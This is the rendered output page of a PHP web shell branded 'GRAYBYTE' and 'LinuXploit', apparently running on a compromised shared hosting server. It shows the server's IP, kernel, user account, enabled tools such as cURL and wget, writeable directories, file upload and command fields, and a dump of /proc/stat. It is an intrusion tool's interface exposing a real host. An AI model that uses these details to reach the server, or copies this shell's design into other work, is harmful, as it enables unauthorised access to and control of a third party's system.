- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 162.0.215.126  /  Your IP : 216.73.216.4
Web Server : LiteSpeed
System : Linux business105.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User : tektomgb ( 586)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/stat
cpu  2202449902 53595813 634937499 1524722738 121613708 47635206 110197875 3760130 0 0
cpu0 100305465 2459967 28736144 69307804 5513179 2009251 5095105 157349 0 0
cpu1 100373679 2421847 28738228 69397219 5528127 1974692 4990517 158858 0 0
cpu2 100407765 2447230 28869990 69237057 5544330 1974315 4942163 158475 0 0
cpu3 100404186 2485012 28827167 69262932 5548292 1973212 4920100 157484 0 0
cpu4 101161408 2450780 28615572 69310667 5552859 1976168 4350394 158379 0 0
cpu5 100852277 2455155 28694851 69486372 5610507 1975044 4337180 158347 0 0
cpu6 100890252 2465755 28645850 69495670 5596865 1973498 4332223 158295 0 0
cpu7 100872378 2458874 28668707 69535468 5599937 1972811 4310103 157993 0 0
cpu8 100333424 2421930 28815776 69437606 5557997 1972355 4874999 159226 0 0
cpu9 100449899 2413415 28927085 69282900 5527017 1972121 4850664 158239 0 0
cpu10 99926720 2417032 28493112 68975951 5463253 3496415 4600113 237996 0 0
cpu11 100557686 2420791 28798989 69280026 5541091 1969510 4856395 158330 0 0
cpu12 100316134 2438711 28825603 69447627 5559683 1971756 4850455 159185 0 0
cpu13 96852237 2328124 30138565 68609711 5357360 2480331 7740941 214856 0 0
cpu14 95605805 2347181 30210007 68719922 5380226 2580788 8492936 219201 0 0
cpu15 100390152 2443634 28871105 69348821 5552057 1970076 4851056 158969 0 0
cpu16 100246602 2461412 28864963 69400076 5528731 1993190 4927187 159911 0 0
cpu17 100296741 2443338 28803810 69464666 5533491 1993846 4874380 161694 0 0
cpu18 100327296 2458089 28797417 69480368 5538961 1988723 4833059 158159 0 0
cpu19 100464611 2432330 28698725 69469491 5532027 1966798 4860965 157436 0 0
cpu20 100899443 2494497 28664717 69553603 5555533 1968538 4290105 156819 0 0
cpu21 100515731 2430699 28231105 69218769 5492175 3481757 4016826 234916 0 0
intr 91907416878 72 9 0 0 492 0 0 0 1 0 0 0 852 0 2123872 0 0 0 0 0 0 0 0 0 0 0 0 1713301237 1705747997 0 33 0 4133935478 876348798 0 174058840 148364578 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 79626067299
btime 1747820375
processes 333433774
procs_running 15
procs_blocked 2
softirq 48186561892 1 2618963472 37512 2422828824 3339655680 0 610673395 2524308596 451427 2309904617

Youez - 2016 - github.com/yon3zu
LinuXploit